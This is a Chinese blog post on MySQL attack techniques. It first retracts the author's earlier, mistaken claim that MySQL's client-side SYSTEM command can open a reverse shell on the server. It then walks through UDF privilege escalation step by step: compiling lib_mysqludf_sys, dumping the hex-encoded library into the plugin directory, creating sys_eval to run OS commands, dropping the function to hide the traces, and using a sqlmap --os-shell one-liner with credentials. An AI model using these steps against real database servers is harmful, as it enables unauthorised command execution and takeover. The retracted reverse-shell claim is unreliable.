声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错了就是错了。
说明:
错误点:SYSTEM执行的是MYSQL-CLI客户端自己所在机器的命令,也就是你使用mysql命令行方式连接到对端后,使用SYSTEM执行的还是自己所在机器的指令。比如你system whoami,你会发现是你自己的主机账户名。所以无法用在渗透过程的当中,特此声明。
一、MySQL中的system命令
在MySQL 5.x中增加了system命令,简单的符号是\!,从而使MySQL可以执行系统的命令
1 mysql> system echo "12345"
2 12345
因为突发奇想,可以使用这个办法反弹shell
结果OK:
尝试和select拼接执行,这样是成功的
想到这里其实可以拼接在SQL注入语句中执行OS命令,或者能连上MySQL之后直接执行OS命令反弹shell。
二、MySQL UDF提权
这里按照linux类操作系统举例了,服务器端用windows真的没意思了,虽然还有很多。https://github.com/mysqludf/lib_mysqludf_sys解压后进入(git clone后直接进入)目录:
1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
如果遇到报错:
1 In file included from lib_mysqludf_sys.c:40:2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory
可以做如下修改:修改/usr/include/mysql/my_global.h文件,注释626行后重新编译。并使用Hex.hta获取16进制。
1 mysql> show variables like '%plugin%';2 +---------------+-------------------------+
3 | Variable_name | Value |
4 +---------------+-------------------------+
5 | plugin_dir | /usr/lib64/mysql/plugin |
6 +---------------+-------------------------+
7 1 row in set (0.00sec)8
9 mysql> select *from func; #检查是否已经有人导出过了10 mysql> select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目录的写入权限12
13 mysql> create function sys_eval returns string soname 'mysqludf.so';14 Query OK, 0 rows affected (0.00sec)15
16 mysql> select sys_eval('whoami');17 +--------------------+
18 | sys_eval('whoami') |
19 +--------------------+
20 |mysql21 |
22 +--------------------+
23 1 row in set (0.03sec)24
25 mysql> select *from func;26 +----------+-----+-------------+----------+
27 | name | ret | dl | type |
28 +----------+-----+-------------+----------+
29 | sys_eval | 0 | mysqludf.so | function |
30 +----------+-----+-------------+----------+
31 1 row in set (0.00sec)32
33 mysql> drop functionsys_eval;34 Query OK, 0 rows affected (0.00sec)35
36 mysql> select *from func;37 Empty set (0.00 sec)
或者使用sqlmap 执行提权:
1 #sqlmap -d "mysql://root:toor@192.168.99.213:3306/test" --os-shell2 #test的地方是database name